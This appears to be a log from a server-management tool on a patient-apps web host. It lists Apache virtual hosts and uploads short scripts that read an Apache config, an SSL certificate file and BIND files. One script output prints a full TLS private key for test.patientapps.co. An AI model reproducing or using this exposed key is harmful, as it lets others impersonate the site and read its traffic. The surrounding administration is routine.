         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-26 12:16:44: 

PUT: /tmp/pkp699550

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_test_co.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-26 12:16:44: 

chmod 755 /tmp/pkp699550; /tmp/pkp699550; rm /tmp/pkp699550

2026-01-26 12:16:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf	1340

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-26 12:16:45: 

PUT: /tmp/pkp850248

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-26 12:16:45: 

chmod 755 /tmp/pkp850248; /tmp/pkp850248; rm /tmp/pkp850248

2026-01-26 12:16:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293	5369
0f:ff:5b:b3:60:ed:be:bb:63:fa:00:c8:7e:09:c9:85

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBj+dKn+sXvliOY12D7vaEfJfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTI2MTExODEyWhcNMjYwNDI2MTExODExWjAeMRwwGgYDVQQD
ExN0ZXN0LnBhdGllbnRhcHBzLmNvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEArEmepvmZQMyP6Ivq+U7OP43t4nJHtkJn6zRFubs9Vu0ytcj/pl9/E0Cp
hFCYOP0u9Yc0JGLsccJUsUWICx2ctU/DWeDiiuQ560M5+AGQGD+pTDcqMBP7nMqh
fwevrrJIE/V1ZQDrpV2ROwQOUn3FnZ1tGU6mMawYbZBugfp+ZDu+IRtRjU5F1vRF
3D8gAA+K0X+ceMYZh4h2sIjyZABmVUXCACfP16UG4uG4mtLjx6aKMZKOnVbACooa
6b7TY3ZHsVUXpqRLbACpBEq5hj6JJf1d+VbaK/8zSjZqDmqX0LZS2Jyd4UBEkhGR
qrOyKdkLwtTrVETPn5T9O3s/WzTk8wIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBR/U5eYAVrSn1ClCagA5S6uCncxWTAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Rlc3QucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy85Ni5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6
APgAfQBxfpXzwjiKbbHjhEk9MeFaqWIIdi1CAOAFDNBntaZh4gAAAZv6PCAAAAgA
AAUAB9bgZgQDAEYwRAIgK/IXdspzF5KwQ+ScMAiy7CYgAdqNGcAFNdf9g9tT3JEC
IE3LWQczBTeSiGp4hYT23An8UJO4o3OvWGtYFK/UdBZjAHcA0W6ppWgHfmY1oD83
pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGb+jwgJwAABAMASDBGAiEAy2x1LEaDTek9
EGi/LCfX0Dg8K43ndLx+smCeASE2m5YCIQDwzkFerxVDSp5FSaM9jdcHcOcOrxev
H5o6CX6nrCCz6DANBgkqhkiG9w0BAQsFAAOCAQEAOhsDJemjPk5jzemQaGnrDn9J
p2qISlRsN9zk0g46mRhvW1SsBHDF5YEaK75sOyEI1LlWp9tHn1jhX8Mf84jP031t
v7KrdCbrbcvuYj1A35yDq4Aiuxi6tUREjD2VhmMPrMGEf8/cHcPKfukPyQeciVB5
k9P8MEghYdLlpe0AbE49ZxhUDDkLyTwshWW/fx8inrdxGjCnhTAxQ+V/gNLmL+Ju
X/qy1tHTIrqEPbmkq8YogcsGGTGbNRfpjWj6MOts+MeWJt+acDJffO+/ObZ1J5rb
MvY9KPFpZhr3Xk708tfcmhWy1uz/0mfAT+rAC9hYsbnZ9rEDmQf34xOAQ6742Q==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsSZ6m+ZlAzI/o
i+r5Ts4/je3icke2QmfrNEW5uz1W7TK1yP+mX38TQKmEUJg4/S71hzQkYuxxwlSx
RYgLHZy1T8NZ4OKK5DnrQzn4AZAYP6lMNyowE/ucyqF/B6+uskgT9XVlAOulXZE7
BA5SfcWdnW0ZTqYxrBhtkG6B+n5kO74hG1GNTkXW9EXcPyAAD4rRf5x4xhmHiHaw
iPJkAGZVRcIAJ8/XpQbi4bia0uPHpooxko6dVsAKihrpvtNjdkexVRempEtsAKkE
SrmGPokl/V35Vtor/zNKNmoOapfQtlLYnJ3hQESSEZGqs7Ip2QvC1OtURM+flP07
ez9bNOTzAgMBAAECggEANpidzgwKpJ4ufGLac2altT4kxD2yu+8PP1mxPso3BfTk
vPaVDQP2IQO8tFFV67lPyD6wJ1ex1drfO83s7pjTsCE2pqS9JYZtVEBZfl4Aa67A
14YjuFicw3Ly+m5VHechMDH4oalJA35DJ5CBeWKh3PCmQf7Ka7M9inraihX3N4ux
eJ1tilR+ctubScmFTxbsth8HTjwaEDhnDP5wtwjxE2LTJVSxNl0RvH6JBXnopnBt
WN6j8iNIpEfE75YTpVchy/WrMThcuD5pgaVhcq4Jd8P7E2CTC5aLhJ9pfOt4zSg+
vPAHicb+81c0LLNYrg99N89L1YrLzk1QhYALto38AQKBgQDlHsrDuLD8gjHelBuN
dmDumhMAnO5CDiOrLUBipUF47+7sMUIhjuys79acK6h9xauXmzqefwKEa4BeCYjZ
sxs6z5tSUoSS6PVkznZMIPRp5mZIUK8ih/yF4srquTGixF4Qzj0xEmPSlWEeZ1Pr
HL1OZR0UndrxjQEZR43dOsYGowKBgQDAf/Yl/ma+ZJxckKi2ITLNwbuH+P2bXY3s
+Y05fVhFAnsLWm/bHYx3nNohgz8hXl4bGfFrYB0S5jtTRNubE5/92rsQMJROmAKR
IL2Cy0MRw/XqYCEhNEMVNGaXC5iKowNNz2rPGmq8NsuTKm5OVMxQzTGuBjVje5ZF
i5ZkNv6dcQKBgQDFxlWqqvODk/LuOZSrAMNdUvwSLGRx+niJmy8Xt6STezEXCtIV
26SrBwCOoBT6NDYRUPpBtEr8+Tq+caaCnNtlYa2mWvp7QcIJeTqeLlgsTah+xb7X
pOCyxXj5MlEJOk4kXZJumHw4W5+QugqzSYSTdi6rDDPhDCElrCFmFQS41wKBgB7s
b35q/9ZWE0hLdM7NRnwHQzj0psjunn4TGLzDhgqP+3Q3cwCgHpCYgfIgQ2P45OU1
pbK6HfGLSrx1s1GWNX1yRdqz8x8tDDyEJe18+alA8aBVEP1kh+JAKLrbAgZDaaR2
TZI3jC3wH4PkrROoS6ovTGvIU4tHrzw80EwJCZ4BAoGABiO4z26Ai8SI3y6SHpFP
jL1wVVpGmM4oJC6W4bmu78irj1/OLhxdAmvKmLAV4eYdEI0Jgx3QZ25pWlt4OfFg
tezFyI6rQbkPvKEdzAQKhnhfHC8c7Hecmilf9jSBAqtjJEs7Ya0EUy2qpTLX+mqo
Ua3ciV//Uzap5Bni3Im5CgI=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-26 19:02:45: Establishing a connection
2026-01-26 19:02:55: Establishing a connection
2026-01-26 19:02:55: 

PUT: /tmp/pkp543584

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-26 19:02:55: 

runuser -l bind -s /bin/bash -c '/tmp/pkp543584; rm /tmp/pkp543584'

2026-01-26 19:02:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
